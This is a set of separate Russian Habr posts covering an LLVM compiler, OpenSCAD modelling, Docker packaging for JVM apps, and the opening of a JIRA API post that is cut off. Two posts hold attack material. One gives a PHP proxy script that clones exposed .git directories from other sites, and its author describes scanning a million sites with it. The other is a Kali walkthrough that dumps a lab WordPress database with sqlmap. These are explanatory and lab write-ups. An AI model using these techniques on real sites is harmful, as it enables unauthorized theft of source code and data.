> // Блок тела while. Пишем код тела сюда, затем переход на условие WHILE
>
> TheFunction->getBasicBlockList().push\_back(LoopBB);
>
> Builder.SetInsertPoint(LoopBB);
>
> Value \*Ops = this->ops.emit();
>
> Builder.CreateBr(CondBB);
>
>
>
>
>
> // Блок "После WHILE', В данный момент, просто говорим,
>
> // что весь следующий код писать именно в этот блок
>
> TheFunction->getBasicBlockList().push\_back(AfterBB);
>
> Builder.SetInsertPoint(AfterBB);
>
>
#### Наконец, мы можем попробовать наш компилятор
`#make
bison -d jsk.y
flex jsk.lex
g++ -O2 jsk.tab.c lex.yy.c `llvm-config --cxxflags --libs` -lrt -ldl -o jskc
jsk.tab.c: In function ‘int yyparse()’:
jsk.tab.c:2026: warning: deprecated conversion from string constant to ‘char*’
jsk.tab.c:2141: warning: deprecated conversion from string constant to ‘char*’
jsk.lex: In function ‘int yylex()’:
jsk.lex:34: warning: deprecated conversion from string constant to ‘char*’
jsk.lex:35: warning: deprecated conversion from string constant to ‘char*’
jsk.lex:39: warning: deprecated conversion from string constant to ‘char*’`
Так. Компилятор готов. Давайте попробуем его на каком-нибудь тестовом задании. Например на
`a=b=88;
b=b+1;
echo("test4=",a," ",b,"\n");`
Выполяем:
./jskc
И получаем a.out.bc в текущем каталоге. Мы можем его дизассемблировать:
llvm-dis
``; ModuleID = ''
@.format1 = internal constant [3 x i8] c"%d\00" ; <[3 x i8]*> [#uses=1]
@.format2 = internal constant [3 x i8] c"%s\00" ; <[3 x i8]*> [#uses=1]
@0 = internal constant [7 x i8] c"test4=\00" ; <[7 x i8]*> [#uses=1]
@1 = internal constant [2 x i8] c" \00" ; <[2 x i8]*> [#uses=1]
@2 = internal constant [2 x i8] c"\0A\00" ; <[2 x i8]*> [#uses=1]
define void @main() {
code:
%a = alloca i32 ; [#uses=2]
%b = alloca i32 ; [#uses=4]
%int\_for\_scanf\_\_\_ = alloca i32 ; [#uses=0]
store i32 88, i32\* %b
store i32 88, i32\* %a
%0 = load i32\* %b ; [#uses=1]
%1 = add i32 %0, 1 ; [#uses=1]
store i32 %1, i32\* %b
call void (i8\*, ...)\* @printf(i8\* getelementptr inbounds ([3 x i8]\* @.format2, i32 0, i32 0), i8\* getelementptr inbounds ([7 x i8]\* @0, i32 0, i32 0))
%2 = load i32\* %a ; [#uses=1]
call void (i8\*, ...)\* @printf(i8\* getelementptr inbounds ([3 x i8]\* @.format1, i32 0, i32 0), i32 %2)
call void (i8\*, ...)\* @printf(i8\* getelementptr inbounds ([3 x i8]\* @.format2, i32 0, i32 0), i8\* getelementptr inbounds ([2 x i8]\* @1, i32 0, i32 0))
%3 = load i32\* %b ; [#uses=1]
call void (i8\*, ...)\* @printf(i8\* getelementptr inbounds ([3 x i8]\* @.format1, i32 0, i32 0), i32 %3)
call void (i8\*, ...)\* @printf(i8\* getelementptr inbounds ([3 x i8]\* @.format2, i32 0, i32 0), i8\* getelementptr inbounds ([2 x i8]\* @2, i32 0, i32 0))
ret void
}
declare void @printf(i8\*, ...)
declare void @scanf(i8\*, ...)
declare void @exit(i32)
Мы можем интерпретировать при помощи *lli*, или (что нас интересует) - странслировать его в выполняемый файл:
$ llvmc a.out.bc
Получаем (УРА!) a.out, **первый в мире бинарник, скомпилированный из программы на языке JSK**:
$ ls -al ./a.out
-rwxr-xr-x 1 walrus walrus 4639 2010-08-25 16:49 ./a.out
$ file a.out
a.out: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
$ ldd a.out
linux-gate.so.1 => (0x00762000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0x00456000)
/lib/ld-linux.so.2 (0x00ee4000)`
Запускаем,
`$ ./a.out
test4=88 89`
Что нам и требовалось.` | https://habr.com/ru/post/102597/ | null | ru | null |
# Как я исходники собственного сайта скачал
В сентябре 2009 года была опубликована [статья](https://habrahabr.ru/post/70330/) об уязвимости, связанной с системой контроля версий subversion, позволяющей скачать исходники сайтов, использующих SVN. Периодически от нечего делать мой мозг хотел, что бы я написал граббер и проверил актуальность данной угрозы на текущий момент, но было как-то лень. Однако, мне не давал покоя [комментарий](https://habrahabr.ru/post/70330/#comment_2010943) хабраюзера
[Semenov](https://habrahabr.ru/users/semenov/)

Понятно, что каждый школьник уже попробовал скачать %sitename% через .svn, потому от этой идеи я отказался сразу, зато попробовать *git clone %sitename%/.git/* руки чесались.
Для начала, я на собственном сайте отключил 404 на .git\* и создал git репозиторий в публичной директории…
`$ git init && git add . && git commit -m 'Test'
Initialized empty Git repository in /home/ilyaplot/data/www/web/.git/
[master (root-commit) d3dcdf3] Test
15 files changed, 713 insertions(+)
.....................`
Теперь можно попробовать получить только что созданный репозиторий
`$ git clone http://******.com/.git/
Cloning into '******.com'...
fatal: http://'******..com/.git/info/refs not found: did you run git update-server-info on the server?`
Как оказалось, не все так просто. Для того, что бы репозиторий можно было склонировать таким способом, необходимо выполнить *git update-server-info* в папке с проектом, что по понятным причинам я сделать не могу.
Оказывается, для осуществления задуманного нужен всего лишь один файл .git/info/refs, содержащий хэш коммита для HEAD.
Т.к. хэш коммита можно получить из .git/refs/heads/master, то можно просто сделать проксирующий скрипт, который будет отдавать то, что git ожидает получить. У меня получился очень простой PHP — скрипт. Я просто создал контроллер в своем Yii2 проекте следующего содержания:
```
header("Content-Type: application/octet-stream");
if (preg_match("/^(?P[\w\-\.]+)\/(?P.+)/isu", $host, $matches)) {
if ($matches['url'] == 'info/refs') {
$ref = file\_get\_contents('http://' . $matches['host'] . '/.git/refs/heads/master');
$ref = trim($ref);
echo "{$ref}\trefs/heads/master
{$ref}\trefs/remotes/origin/HEAD
{$ref}\trefs/remotes/origin/master
";
} else {
echo file\_get\_contents('http://' . $matches['host'] . '/.git/' . $matches['url']);
}
exit();
}
```
И добавил rule в urlManager
```
[
'pattern' => 'git/',
'route' => 'git/index',
'suffix' => '',
],
```
Теперь я могу попробовать склонировать собственный сайт, используя собственный сайт. ~~Тут должна быть шутка про монитор~~
Пробуем
`$ git clone http://******.com/git/******.com
Cloning into '******.com'...
$ ls ******.com/
assets css favicon.ico images js robots.txt sitemaps`
Получилось! После этого, я проверил этот метод на сайтах — гигантах, получил то, что и ожидалось. Ничего. Потом я взял список из миллиона самых посещаемых сайтов интернета и прошел его весь. Я ожидал получить много исходников, но из 1 милииона сайтов получилось скачать лишь 4. На 126 сайтов из исследованных я получил .git/refs/heads/master с хэшем коммита, но склонировать репозиторий не удалось из-за того, что система роутинга этих сайтов выдавала 404.
Ожидал я, конечно большего, потому решил проверить, а насколько больше или меньше сайтов удастся скачать через .svn. Нашел граббер на питоне, настроил на тот же самый список из миллиона сайтов и запустил. Скачалось несколько сотен сайтов.
И в заключение дам несколько советов.
1. Сейчас же проверьте доступность /.git/index на вашем сайте через обычный браузер.
Если вы не получили 403 или 404, то следующие пункты для вас.
2. Настройте ваш сервер так, что бы на .svn и .git он возвращал 404.
3. Выносите исходный код сайта, который не должен быть получен клиентом за пределы публичной директории.
4. Возможно, стоит поменять пароли, которые используются в конфигах, url доступа в админ панель, удалить служебные скрипты из публичной директории.
По понятным причинам я не могу сказать, какие именно сайты удалось склонировать, но могу сказать точно, что владельцы этих сайтов уже получили письмо, в котором я указал на недостаток.
UPD:
[kaimi\_ru](https://habrahabr.ru/users/kaimi_ru/) поделился ссылкой на скрипты для 5 систем контроля версий [github.com/kost/dvcs-ripper](https://github.com/kost/dvcs-ripper) | https://habr.com/ru/post/334864/ | null | ru | null |
# Подвешиваем CD-диск, или практический пример моделирования на базе OpenSCAD для 3д печати

В данной статье я бы хотел поделиться опытом использования бесплатной программы OpenSCAD, для 3д моделирования предоставленной на картинке фигурки.
Будет показан пошагово весь путь моделирования и готовая, напечатанная 3д деталька в конце.
С помощью этой детальки можно подвесить сд-диск на нитке. Пользы для человечества планеты не так много, но благодаря решению этой хобби-задачи я (впервые) попробовал OpenSCAD, и за пол-часа «с нуля» нарисовал 3д модель.
OpenSCAD — это бесплатная и открытая программа для 3д моделирования, но в отличие от других 3д программ, мышка в ней используется только лишь для просмотра готовой детали, а само рисование происходит на базе составленной программы на языке OpenSCAD.
Суть программы на языке OpenSCAD достаточно простая — в ней мы даем команды на рисование геометрических примитивов, над которыми мы можем выполнять операции вращения, перемещения, масштабирования. И плюсом к этому можем осуществлять «арифметические» команды над фигурами, например, сложение, вычитание.
Простая иллюстрация идеи:
```
нарисовать куб со стороной 10 мм
нарисовать сферу радиусом 10 мм
вычесть из куба сферу
```
И мы получим такой результат:

#### Установка OpenSCAD
Для установки — [скачиваем версию для вашей ОС](http://www.openscad.org/downloads.html) с официального сайта (http://www.openscad.org/). В данный момент **версия от 03.2014**.
После старта программы мы увидим 2 области:

Cлева — для ввода программы на языке OpenSCAD,
Cправа — результат отрисовки.
Для отрисовки программы надо нажать **F5**, для полноценного рендеринга — **F6**.
Отмечу, что при открытии файла — его не обязательно редактировать в среде OpenSCAD, вы можете его редактировать в вашем любимом текстовом редакторе, для отрисовки в опенскад **при редактировании внешним редактором** — необходимо нажимать **F4**.
#### Hello World
Попробуем **нарисовать куб**: `cube();`
Пишем в левой, текстовой зоне (10 — это сторона куба):
```
cube(10);
```
Обратим внимание, что **каждая строчка в программе заканчивается точкой с запятой**.
Нажимаем F5, видим справа — куб — можем вращать его захватив мышкой, роликом увеличивать/уменьшать, и правая кнопка для перемещения точки просмотра.

И попробуем **нарисовать сферу**, команда: `sphere(10)`
```
cube(10);
sphere(10);
```
Просматриваем результат F5:

Теперь добавим **команда вычитания**:
`difference() { OBJ1; OBJ2;}`.
Команды пишутся как вызов функции, если параметров нет, то пустые скобки, и далее те объекты или объект к которым надо применить эту функцию.
Вот как будет выглядеть вычитание
```
difference(){
cube(10);
sphere(10);
}
```
И вот результат:

Основы думаю понятны.
Теперь вернемся к нашей основной задаче.
#### Моделирование подвеса
Чтобы CD-диск висел на нити, в горизонтальном положении:
1. Должно быть что-то куда можно закрепить нить
2. Диск должен на что-то опираться
3. Точка крепления нити должна быть по центру диска, при взгляде сверху, и должна быть выше плоскости при взгляде сбоку
Начнем с точки крепления нити, а точнее того, что находится между ней и основанием диска.
#### Моделирование крестовины
Я решил выполнить этот фрагмент в виде крестовины, которая вверх идет как усеченная пирамида.
Ок, в начале делаем крестовину.
Для этого рисуем два прямоугольный параллелепипеда, перпендикулярные друг другу.
**Примечание**: для простоты текста — буду называть «прямоугольный параллелепипеда» — «кубоид», то есть это вариация куба.
При рисовании фигур, по умолчанию они идут от центра, в положительные стороны осей X, Y, Z. Это можно увидеть в нашем первом примере — и куб был нарисован в положительной зоне (тогда как сфера изначально рисуется в центре координат).
Но есть вариант, когда центр нарисованной фигуры будет находиться в центре координат. Для этого надо использовать атрибут,
`center = true`.
Настал момент задуматься о размерах. Диаметр внутреннего отверстия CD-диска — 15 мм. Значит крестовина внизу должна быть не более 15 мм, для запаса возьмем 14 мм.
Первая часть крестовины:
```
cube([14,1,15], center=true);
```
Получилось:

Если мы указываем каждую стенки «куба», то мы должны использовать запись `[x, y, z]`, вторым параметром (center=true) мы указали что «кубоид» будет нарисован в центре координат.
Мы указали:
14 — это ширина «кубоида» — оно должно быть не больше 15 мм — внутреннего отверстия CD-ROM диска.
1 — толщина стенки,
15 — это высота «кубоида», т.к. он по центру Z, то в верхней части будет 15/2 = 7.5 мм — это будет высота до точки крепления.
Далее нам нужна вторая часть крестовины, для этого нам нужно тот же «кубоид» повернуть на 90 градусов, относительно оси Z.
**Функция поворота** выглядит как: `rotate(a = deg, v = [x, y, z]) { ... }`
Где в параметрах функции указывается угол поворота (a), и вектор (v) относительно которого поворот совершается.
Вот так будет выглядеть программа:
```
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
```
И результат

Теперь нам надо убрать лишнюю часть, что находится под нулевой плоскостью (внизу).
Для этого мы можем нарисовать внизу куб, и вычесть его из нашей фигуры. Но куб будет нарисован в центре, нам необходимо сдвинуть его вниз.
**Команда перемещения** выглядит так: `translate(v = [x, y, z]) { ... }`
Где в параметрах указывается вектор (v) на который необходимо сдвинуть объект (указанный в теле функции).
Куб рисуем со стороной 15 мм, и сдвигаем вниз на 15/2 мм (да можно указывать математические операции) — он оказывается полностью под плоскостью.
Вот обновленный код:
```
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
```
И вот результат:

Теперь применяем уже известную нам команду вычитания — нам надо вычесть из крестовины, куб. Но проблема — для вычитания нужно два объекта — у нас три — два «кубоида» (крестовина), и куб.
Для этого используем **команду объединения**: `union(){ OBJ1; OBJ2; ... }`.
Получается следующий код (с объединением и вычитанием):
```
difference(){
union(){
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
}
```
Результат

Крестовина получилась, теперь надо сделать ее пирамидальной.
Для этой цели нам бы подошел конус, и операция «пересечения» когда остается лишь та часть фигур, которая совпадает у обоих фигур.
Но команды для рисования конуса нет в OpenSCAD.
Зато есть **команда рисования цилиндра**: `cylinder(h = 10, r = 10, [r2 = 20,]);`
где кроме базовых двух параметров (для получения цилиндра) — радиус основания [r] и высоты [f] есть третий [r2] — радиус вершины, с помощью которого можно нарисовать конус, если выставить в 0. Или усеченный конус — если выставить значение не равное радиусу основания.
Это то, что нам нужно.
Определимся с размерами, основание конуса в диаметре должно быть 14, то есть радиус 7. Высота 15/2 мм. Радиус верхнего основания пусть будет 1мм, сам размер будет 2мм, на нем мы разместим ушко для нити.
Мы будем рисовать конус в центре координат, поэтому надо будет поднять вверх на половину высоты (15/4).
Фрагмент:
```
translate(v=[0,0,7/2]){
cylinder(h=7, r=7, r2=2, center=true);
}
```
Вот как он выглядит:

Результирующий код:
```
difference(){
union(){
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
}
translate(v=[0,0,15/4]){
cylinder(h=15/2, r=7, r2=2, center=true);
}
```
И результат:

Обратим внимание, что из-за нарисованного конуса мы не видим, что внутри. В OpenSCAD, можно для режима просмотра делать выбранные фигуры полупрозрачные, для этого надо в начале строки, перед командой добавить "%".
Вот код:
```
difference(){
union(){
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
}
%translate(v=[0,0,15/4]){
cylinder(h=15/2, r=7, r2=2, center=true);
}
```
И что получается:

Ок, теперь нам надо получить пересечение нашей крестовины и конуса.
**Команда пересечения фигур**: `intersection() { OBJ1; OBJ2; ...}`
Добавляем в наш код:
```
intersection(){
difference(){
union(){
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
}
translate(v=[0,0,15/4]){
cylinder(h=15/2, r=7, r2=2, center=true);
}
}
```
И получаем результат:

Стойка для крепления нити готова.
Дальше будет проще, рисуем ушко для нити.
#### Моделирование ушка для нити
Ушко — это будет маленькое колечко. Мы его создадим с помощью вычитания плоских цилиндров.
Для этого рисуем цилинд, высота которого будет равна толщине ушка, внутри него рисуем меньший цилиндр, и вычитаем из большего. Далее то что получилось поворачиваем на 90 градусов вокруг оси у, и поднимаем вверх на вершину нашей крестовины.
Вот этот фрагмент кода:
```
translate(v=[0,0,15/2]){
rotate(a=90, v=[1,0,0]){
difference(){
cylinder(h=1, r=2, center=true);
cylinder(h=1, r=1, center=true);
}
}
}
```
И результат

Вот это в коде нашей программы:
```
intersection(){
difference(){
union(){
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
}
translate(v=[0,0,15/4]){
cylinder(h=15/2, r=7, r2=2, center=true);
}
}
translate(v=[0,0,15/2]){
rotate(a=90, v=[1,0,0]){
difference(){
cylinder(h=1, r=2, center=true);
cylinder(h=1, r=1, center=true);
}
}
}
```
И вот результат:

То есть крепление для нити есть, теперь надо сделать основание для сд диска.
#### Основание для диска
Мы поступим хитро — мы не будем его рисовать. Мы воспользуемся Рафтом.
#### Что такое Рафт?
Рафт (raft) это техническая подложка, которую генерирует программа для 3д печати, это способ повышения прилипания печатаемой 3д фигурки.
Вот так выглядит Рафт, по сути это сеточка внизу:

Рафт автоматически вычисляется согласно контуру основания фигуры, и делается отступ вокруг, как правило 5мм.
Нам как раз это и надо — подложка, слой под нашей фигуркой обеспечит опору для CD-диска.
#### Кольцо в основании
Единственная тонкость — Рафт будет в форме крестовины, но это легко исправить — нарисуем тонкое кольцо внизу.
Рисуем два цилиндра, высотой 0.5 мм, внешний диаметром 14мм, то есть радиус 7 мм, внутренний радиусом 6.5 мм, и вычитаем — получим кольцо, поднимаем вверх на 0.25 (так как рисовали в центре координат).
Вот код фрагмента:
```
translate(v=[0,0,0.25]){
difference(){
cylinder(h=0.5, r=7, center=true);
cylinder(h=0.5, r=6.5, center=true);
}
}
```
Результат:

И вот **финальный код** для рисования:
```
intersection(){
difference(){
union(){
cube([14,1,15], center=true);
rotate(a=90, v=[0,0,1]){
cube([14,1,15], center=true);
}
}
translate(v=[0,0,-15/2]){
cube(15, center=true);
}
}
translate(v=[0,0,15/4]){
cylinder(h=15/2, r=7, r2=2, center=true);
}
}
translate(v=[0,0,15/2]){
rotate(a=90, v=[1,0,0]){
difference(){
cylinder(h=1, r=2, center=true);
cylinder(h=1, r=1, center=true);
}
}
}
translate(v=[0,0,0.25]){
difference(){
cylinder(h=0.5, r=7, center=true);
cylinder(h=0.5, r=6.5, center=true);
}
}
```
#### Системные переменные
Возможно отметили — что окружности получаются «угловатые», для увеличения количества сегментов для рисования окружностей, можно выставить параметр (в самом начале кода):
```
$fn=30;
```
Тогда получится более красиво:

#### Генерация СТЛ
Наконец то!
Теперь, не забываем **нажать F6**, для рендеринга. И в меню **File -> Export -> Export as STL...**, сохраняется STL файл.
#### Печать
Теперь загружаем полученный STL в программу 3д печати, не забываем выставить опцию Raft в настройках (5 мм).
Так это выглядит в программе Cura:

И стартуем на печать.
#### Результат
Вот деталька в действии:

А вот наш Рафт:

#### В качестве заключения
Это конечно самые базовые возможности OpenSCAD (не были рассмотрены возможности создания своих функций, использование переменных), но даже их достаточно, чтобы относительно быстро сделать 3д модель.
Если вы не знаете где выполнить 3д печать в вашем городе, то можно сделать:
1. поиск по хакспейсам в вашем городе, как правило там есть 3д принтеры, и они доступны для небольших заказов
2. можете поискать фаблаб, там 3д принтер так же должен быть
3. поискать сервис 3д печати (в вашем городе)
#### Скачать модель
Модельку и код можно скачать с [Thingiverse](http://www.thingiverse.com/thing:299818/#files). | https://habr.com/ru/post/219601/ | null | ru | null |
# Kali Linux для начинающих

14 декабря будет запущена новая «Test lab» — лаборатория тестирования на проникновение, имитирующая работу реальной корпоративной сети, в которой каждый желающий сможет проверить свои навыки тестирования на проникновение. Поскольку порог вхождения для выполнения всех заданий лаборатории достаточно высокий, мы решили выпустить небольшой гайд для начинающих по работе с Kali Linux 2018.4 — одним из самых популярных пентест-дистрибутивов, разработанного как преемник BackTrack и основного на Debian.
Причина популярности простая – довольно дружелюбный интерфейс и наличие необходимых инструментов для пентеста “из коробки”. Инструменты распределены по категориям, что очень удобно. Имеются варианты установки на АРМ, например, Raspberry Pi 3, а также на мобильные платформы под управлением Android. Я сейчас говорю про Kali NetHunter – тот же Kali, который практически без изменений устанавливается поверх Android и работающий внутри chroot-окружения.
### Получаем токен, используя SQLi
По легенде у нас есть некий хост test.lab. Наша задача — определить уязвимости и выполнить их эксплуатацию.
Начнем с разведки — выполним сканирование портов: `nmap -v test.lab`

Сканирование в режиме по умолчанию результатов не дало, произведем сканирование всех портов: `nmap -v -p 1-65535 192.168.60.13`

Отлично, видим открытый 9447 порт и попробуем идентифицировать сервисы:
`nmap -v -sV -p 9447 192.168.60.13`
`-sV – ключ для определения версий сервисов
-p – указание конкретного порта или диапазона портов`

На порту 9447 доступно веб-приложение:

Используя инструмент nikto, определим, что вероятнее всего используется CMS WordPress:
`nikto -host test.lab:9447`

Проверим приложение, используя WPScan: `wpscan --url http://test.lab:9447`

Сканирование не показало, применяются ли какие-то уязвимые плагины. Попробуем добавить ключ для поиска плагинов --plugins-detection с параметром aggressive.
`wpscan --url http://test.lab:9447 --plugins-detection aggressive`

Нам удалось обнаружить плагин WP Symposium 15.5.1.Для данной версии имеется уязвимость SQL Injection, и также в выводе представлены ссылки на базы с описанием уязвимости, где мы и будем искать информацию.
Мы нашли способ эксплуатировать уязвимость на [www.exploit-db.com/exploits/37824](http://www.exploit-db.com/exploits/37824)

Теперь нужно проверить ее, подставив этот параметр к нашему url.

Используя Burp Suite, посмотрим, какие запросы приходят при обращении к этому адресу:

Скопируем этот GET запрос в файл и передадим его в sqlmap с параметром -r, добавив ключ уязвимого параметра -p “size” и --dbs для нахождения баз данных.
`sqlmap -r qwe -p “size” --dbs`

В итоге мы получили несколько баз. Проверим содержимое базы wordpress\_test и найденных таблиц:
`sqlmap -r qwe -D wordpress_test --table`

`sqlmap -r qwe -D wordpress_test -T wp_posts --dump`

В таблице wp\_post в одной из скрытых записей нам удалось найти токен **Y@u-wIn!!!**.
> Использование [Nemeisida WAF](https://waf.pentestit.ru) не позволит выполнить эксплуатацию подобной уязвимости.
Kali Linux является очень мощным дистрибутивом для пентеста. Мы рассмотрели пару простых из ~600 доступных инструментов, которые найдут свое применение у любого — от начинающего до профессионала.
Соблюдайте законодательство и до встречи в [Test lab v.12](https://lab.pentestit.ru). | https://habr.com/ru/post/432014/ | null | ru | null |
# Упаковка jvm приложения в docker образ
Все плюсы docker для приложения, уже много раз описывали на Хабре, как и его архитектуру.

Мы же решим практическую задачу по упаковке jvm приложения и получим контейнер с миниатюрным Linux, JDK и нашим приложением, который опубликуем на hub.docker.com и сможем запускать где угодно.
Исходное приложение
===================
Если ваше приложение для jvm состоит из более чем одного файла и образ нужно генерировать регулярно/автоматически, то можно интегрировать процесс сборки в maven с помощью плагина [com.spotify:docker-maven-plugin](https://github.com/spotify/docker-maven-plugin). Если же вы используете Gradle, то [se.transmode.gradle:gradle-docker](https://github.com/Transmode/gradle-docker) вам поможет сделать сборку docker образа. Пример для maven опубликовал на [github](https://github.com/igor-suhorukov/gitblit-docker-example).
В публикации используем jar из центрального [maven репозитария](https://repo1.maven.org/maven2/com/github/igor-suhorukov/groovy-grape-aether/2.4.5.4/groovy-grape-aether-2.4.5.4.jar). Это своя сборка груви, которая примечательна упакованным aether provide для разрешения зависимостей Grape и расширенной поддержкой протоколов для java.net.URL. Для пытливых умов:
**Статьи о groovy-grape-aether на Хабре**[Уличная магия в скриптах или что связывает Groovy, Ivy и Maven?](https://habrahabr.ru/post/270145/)
[Отладка Groovy скриптов с Grape на основе maven aether.](https://habrahabr.ru/post/274875/)
[java.net.URL или старый конь борозды не испортит.](https://habrahabr.ru/post/276719/)
Для меня это удобный инструмент, который часто использую. Как пример — загрузка jvm агента в [запущенную JVM](https://habrahabr.ru/post/269793/), инсталятор [для crate.io](https://habrahabr.ru/post/274315/), пример [парсера сайта](https://habrahabr.ru/post/272105/)…
Теперь groovy-grape-aether доступен и в docker образе *suhorukov/docker-groovy*. В подобный образ вы может упаковать ваше приложение для jvm.
Dockerfile
==========
Описывает на основе какого существующего образа и с помощью каких команд сформировать новый образ.
Воспользуемся образом **frolvlad/alpine-oraclejdk8**, с благодарностью [frol](https://habrahabr.ru/users/frol/) за его труд! Этот образ на основе Alpine Linux image + glibc и Oracle JDK 8u102.14. Достаточно **компактный**, по сравнению с образами на основе на debian/ubuntu. Как альтернатива возможен популярный образ **anapsix/alpine-java**.
```
FROM frolvlad/alpine-oraclejdk8
EXPOSE 8080
ENV GROOVY_VERSION=2.4.5.4
RUN mkdir "/usr/lib/groovy" && \
wget "http://repo1.maven.org/maven2/com/github/igor-suhorukov/groovy-grape-aether/$GROOVY_VERSION/groovy-grape-aether-$GROOVY_VERSION.jar" -O /usr/lib/groovy/groovy-grape-aether.jar
ENTRYPOINT ["java","-jar","/usr/lib/groovy/groovy-grape-aether.jar"]
CMD ["--help"]
```
Здесь я указал что порт 8080 будет слушать приложение внутри контейнера. При запуске контейнера можно указать параметр -P и тогда он будет привязан к динамическому порту хост-машины, либо параметр -p и можно указать какой порт хоста соответствует порту контейнера.
ENTRYPOINT определяет какая команда с параметрами будет запущена при старте контейнера. Для команды возможно указать с помощью CMD параметры по-умолчанию.
Собираем образ локально
=======================
Запускаем в той же директории, где находится наш Dockerfile команду
```
docker build -t docker-groovy .
```
Публикация в hub.docker.com
===========================
Этот раздел можете пропустить, если у вас не opensource проект и вам не нужно делиться образом со всем миром.
### Публикуем Dockerfile на github
В своей учетной записи на github выбираем New Repository и помещаем туда подготовленный Dockerfile. В этом примере используется репозитарий [docker-groovy](https://github.com/igor-suhorukov/docker-groovy).
### Настраиваем сборку в hub.docker.com
Создаем бесплатный аккаунт на [главной странице](https://hub.docker.com) hub.docker, заполнив форму и нажав «Sign Up». Обязательно активируем его с помощью письма в email.
В настройках [аккаунта](https://hub.docker.com/account/authorized-services/) заходим во вкладку «Linked Accounts & Services» и настраиваем «Link Github» на ваш github аккаунт( другой вариант Bitbucket аккаунт).
В меню вверху страници выбираем Create->Create Automated Build, затем жмем«Create Auto-build Github», выбираем репозитарий и указываем где в репозитарии Dockerfile. При следующем push в репозитарий на github сборка автоматичеки запустится. Можно запустить и сборку вручную.
В результате всех вышеописанных действий получился такой [проект на hub.docker.com](https://hub.docker.com/r/suhorukov/docker-groovy/).
Загрузка и использование контейнера
===================================
Перед использованием, получим образ из hub.docker.
```
docker pull suhorukov/docker-groovy
```
И запустим контейнер с параметром-скриптом gitblit.groovy.
```
docker run -d -p 8080:8080 suhorukov/docker-groovy https://raw.githubusercontent.com/igor-suhorukov/git-configuration/master/gitblit.groovy
```
В случае, если для приложения нужен доступ к внешним для контейнера ресурсам в файловой системе (директории хост-машины, NFS, распределенной файловой системы) то нужно указать точки монтирования при создании образа в секции VOLUME в Dockerfile. Если же нужно распределенное выполнение и орекстрация контейнеров — Kubernetes / Mesos / Swarm / fabric8.io / Rancher более подходящие для этого технологии которые работают с docker.
На примере jvm приложения мы создали и опубликовали миниатюрный образ на hub.docker.com, после чего запустили docker контейнер с параметрами приложения. | https://habr.com/ru/post/310530/ | null | ru | null |
# Как мы обрабатываем жалобы пользователей с помощью JIRA (REST API)

В наше время мало какой веб-сервис или приложение обходится без функционала, где пользователи могут пожаловаться *(уведомить, зарепортить)* на различные виды контента, будь то грамматическая ошибка в тексте, ошибочные формулировки, неинтересный или не информативный контент *(как упражнение, урок, статья, обучающий материал либо часть функционала)*. Возможность “сообщить о проблеме” является неотъемлемой частью вовлечения пользователей в продукт, реализации одной из форм сбора обратной связи и возможности улучшить свое приложение в целом.
Все жалобы пользователей должны где-то храниться, быть приоритезированы, удобно отслеживаться, и, более того, должны быть вовремя обработаны. Но не всегда есть возможность выделить достаточно ресурсов на разработку и поддержание подобной системы, ведь всегда найдется задача в бэклоге с более высоким приоритетом. Ниже я расскажу, как мы достаточно эффективно и быстро решили эту задачу в *Uxcel* используя JIRA REST API.
### Для чего нам “Report a problem”?
Добавим немного контекста — для чего мы предоставляем функционал жалоб и что нам нужно?
*Uxcel* — веб-сервис для обучения UI/UX в игровой форме. Обучающим элементом у нас является *“Практика”* — в большинстве случаев это 2 изображения, где одно верное, а другое — нет. Что позволяет натренировать глаз находить недочеты даже в визуально идентичных элементах. Каждая *практика* помимо изображений имеет подсказку *(hint — наводку на верный ответ)* и описание *(description)* с теорией, касающейся данной задачи.

Поскольку число *практик* исчисляется тысячами — это означает, что где-то может быть допущена грамматическая ошибка, а где-то недостаточно понятное пользователю изображение, подсказка или теория, поэтому очень важно учесть мнение каждого для поддержания эталонного контента. Для всех этих случаев нужно дать возможность *“Сообщить о проблеме”* прямо во время прохождения *практик*, не отрываясь от процесса, максимально быстро и удобно. Модераторам же нужно иметь возможность просматривать список практик с жалобами, фильтровать, находить наиболее ~~популярные~~ проблемные, отслеживать текущий статус и закрывать жалобы, сохраняя историю.

Чтобы не изобретать велосипед со своими бордами, тикетами и backlog-ом, а также чтобы хранить все задачи команд в одной системе и даже в общих спринтах, было решено для этих целей использовать JIRA + REST API.
### Организация тикетов в JIRA
Для каждой практики у которой есть хотя бы 1 жалоба создается BUG в JIRA в выделенном эпике Practices Reports. А сами жалобы хранятся в виде комментариев к соответствующим багам-*практикам*. В дополнение к этому, для разных видов практик добавляется Label *(в нашем случае такие как: Course, Gym, UEye)*. Общая логика представлена на схеме ниже:

Таким образом, контент-команда выбирает наиболее приоритетные практики *(в виде багов)* для исправления в каждом спринте.
А теперь давайте взглянем на технические подробности реализации.
### Интеграция с JIRA REST API
Первым делом нужно создать API token в JIRA, чтобы получить доступ к JIRA API. Для использования на продакшене рекомендую создать отдельного пользователя от имени которого и будут создаваться тикеты, иначе придется отбиваться от постоянных уведомлений, в то время как для отдельного пользователя их проще сразу все отключить.
Получение API токена:
* Логинимся в <https://id.atlassian.com/manage/api-tokens>
* Создаем API token

* Задаем имя токена -> нажимаем Create

Готово. Сохраняем куда-нибудь созданный токен, терять его нельзя.
Теперь можно выполнять API запросы к JIRA. В каждый запрос передается заголовок, содержащий емейл *(пользователя для которого был создан токен)* и сам токен — *их передаем посредством реализации HTTP basic authentication*.
Пример кода *(весь код на TypeScript для NodeJS)*:
```
private generateAuthHeader(): string {
// конвертируем строку email:apiToken в Base64
